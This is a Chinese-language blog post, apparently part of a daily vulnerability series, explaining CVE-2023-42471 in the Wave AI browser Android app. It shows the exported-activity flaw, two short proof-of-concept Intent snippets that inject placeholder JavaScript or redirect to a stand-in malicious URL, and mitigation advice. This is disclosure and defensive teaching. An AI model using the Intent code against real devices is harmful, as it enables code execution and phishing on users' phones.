iT邦幫忙

2023 iThome 鐵人賽

DAY 1
0
Security

一天一個漏洞介紹系列 第 1

CVE-2023-42471 Arbitrary Code Execution

  • 分享至 

  • xImage
  •  

介紹

這次回報的漏洞是跟Wave有關的,為一個Anroid APP,在Google Play上有超過十萬次下載,主打的是將GPT與瀏覽器做結合,可以提供頁面內容總結,也可以如ChatGPT一樣提供對話解答。

原理

在設置Android APP Activity時,將exported設置為true,但是並沒有做其他權限設置及對接入資料做清洗限制,外部惡意APP可以透過activity執行惡意程式碼或者跳轉網頁進而可以取得機敏資料。

<activity android:theme="@style/Theme.App.Splash" 
          android:name="wave.ai.browser.ui.splash.SplashScreen" 
          android:exported="true" 
          android:launchMode="singleTop" 
          android:screenOrientation="portrait">
</activity>

影響版本

1.0.35 及以下

透過Wave browser執行JavaScript

Intent intent = new Intent();
intent.setComponent(new ComponentName("wave.ai.browser", "wave.ai.browser.ui.splash.SplashScreen"));
intent.setData(Uri.parse("javascript:malicious_code_here"));
startActivity(intent);

透過Wave browser跳轉指定URL

Intent intent = new Intent();
intent.setComponent(new ComponentName("wave.ai.browser", "wave.ai.browser.ui.splash.SplashScreen"));
intent.setData(Uri.parse("http://maliciouswebsitetest.com/"));
startActivity(intent);

範例(透過外部打開Wave browser使其執行程式碼)

Open in wave browser

原因

  • 不安全的Activity export
  • Activity對傳入資料100%信任

潛在解決方法

設置Permission attribute

根據Google官方文件,我們可以在Android Manifest裡新增permission來限制activity權限。
一般建議將protectionLevel設置為signature以確保只有用相同私鑰簽名打包的app可以請求權限。(signatureOrSystem也可以達成相同功能,不過此項已經在API Level 23被設置為deprecated因此不建議使用)

<permission android:description="string resource"
            android:icon="drawable resource"
            android:label="string resource"
            android:name="string"
            android:permissionGroup="string"
            android:protectionLevel=["normal" | "dangerous" |
                                     "signature" | ...] />

Activity設置intent filter

在Activity內設置intent filter可以限制元件執行activity

<intent-filter android:icon="drawable resource"
               android:label="string resource"
               android:priority="integer" >
    ...
</intent-filter>

對輸入資料過濾

在上面的sample code可以看到,wave browser基本上是接什麼就吃什麼,因此可以針對輸入資料進行處理或者直接拒絕執行JavaScript code

// Activity啟動時執行
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);

    Intent incomingIntent = getIntent();

    // 檢查輸入是否包含JavaScript
    if (incomingIntent != null && incomingIntent.hasExtra("javascript")) {
        String javascriptCode = incomingIntent.getStringExtra("javascript");

        if (reallyNeedJavaScript) {
            // Execute the JavaScript here
        } else {
            // Skup execute JavaScript
        }
    }
}

Reference

GitHub repo


下一篇
CVE-2023-42442 Improper Authentication
系列文
一天一個漏洞介紹4
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言